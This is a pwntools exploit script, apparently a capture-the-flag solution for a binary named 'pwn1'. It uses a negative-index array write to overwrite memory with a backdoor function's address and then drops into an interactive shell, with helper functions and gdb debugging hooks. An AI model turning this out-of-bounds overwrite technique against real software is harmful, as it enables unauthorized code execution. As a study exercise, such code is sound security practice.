1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
|
from pwn import *
local = 1 host = '127.0.0.1' port = 10000 context.log_level = 'debug' exe = './pwn1' context.binary = exe elf = ELF(exe) libc = elf.libc
if local: io = process(exe) else: io = remote(host,port)
s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) ru = lambda delim,drop=True : io.recvuntil(delim, drop)
uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda name,data : io.success(name + ": 0x%x" % data)
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr)))
def pack_addr(i, addr): sla("enter index\n", str(i)) sla("enter value\n", str(addr))
def exp(): """ gdb.attach(io, ''' b *0x080486ea c c ''') """ sa("Enter your name \n", "c"*0x9) num = -44 backdoor = 0x0804875D puts_plt = elf.plt['puts'] __libc_start_main_got = elf.got['__libc_start_main'] addr = 0x80485E7 pack_addr(-1, -34) for i in range(0, 43): pack_addr(num+i, backdoor) ru("0 0 0 0 0 0 0 0 0 0 ") r()
if __name__ == '__main__': while True: try: exp() io.interactive() break except Exception as e: print(e) io.close() io = process(exe)
|